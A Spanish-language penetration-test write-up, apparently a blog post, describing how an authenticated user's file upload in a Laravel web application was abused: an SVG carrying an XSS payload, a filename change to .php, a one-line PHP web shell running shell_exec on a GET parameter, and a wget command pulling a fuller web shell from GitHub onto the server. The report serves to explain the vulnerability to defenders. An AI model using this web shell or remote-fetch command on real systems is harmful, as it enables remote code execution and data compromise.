En esta publicación, los tratare de guiar a través de un ejemplo del tipo de vulnerabilidades con la que te puedes encontrar al realizar un pentest. En este caso logre comprometer una aplicación web mediante un file upload para luego ejecutar código remoto.
Analizando la aplicación
Como parte del proceso se me proporcionaron credenciales para la aplicación como usuario normal. Al iniciar sesión, comencé navegando por todas las páginas y examinando la funcionalidad de la aplicación.
Después de dar click en varias paginas del sitio, mire una pagina que me permitía subir un documento.
Como en ninguna parte indicada que tipo de archivos puedes subir, lo primero que me vino a la mente fue subir una imagen svg con un payload xss. Al ir a la imagen veo que ejecuta el xss.
Validación
Ahora sabia que el file upload funcionaba, pero de igual forma quería ver que me mostraba Burp Suite. Al revisar la solicitud en Burp Suite, observe que las imágenes se estaban colocando en el siguiente directorio: / storage/clients.
Al hacer clic en el nombre con el que se guarda el archivo , me permite abrir la imagen en la ruta como https://sitio.com/storage/clients/73947/test.svg
En la solicitud de Burp Suite, también pude ver que la cookie de sesión devuelta por el servidor como laravel_session. Laravel es un framework PHP, así que ya confirmaba en qué lenguaje se desarrolló la aplicación.
Prueba de concepto
Siguiente paso: hacer un bypass de file upload con un shell web PHP. Esto se hizo interceptando y manipulando la siguiente solicitud POST:
Todo lo que se requería era un simple cambio en el parámetro de nombre de archivo en Content-Disposition para incluir .php al final del nombre de archivo jpeg. Luego también agregué un pequeño fragmento de código para incluir un Backdoor PHP simple como se muestra a continuación:
<?php echo shell_exec($_GET[‘e’].’ 2>&1'); ?>
Con el archivo cargado, ahora solo tenia que dar click sobre la imagen para verificar que la shell estaba arriba.
Después de emitir el comando id, me mostro el usuario con el que tenia sesión.
Hora de la shell
Ahora necesitaba una shell más agradable. Para hacer esto, simplemente copie una shell directamente de github.
https://site.com/storage/clients/1524485403/bypassimg.php?e=wget%20https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -O lmao.php
Después de esto, regresé al navegador, navegué a https://site.com/storage/clients/1524485403/lmao.php y tenia mi shell lista.
después navegamos un poco entre las carpetas.
Resumen
Un usuario autenticado podría omitir el filtro de contenido del file upload para ejecutar código arbitrario en el sistema operativo. Como resultado, fue posible acceder al servidor afectando así la confidencialidad e integridad de los datos almacenados.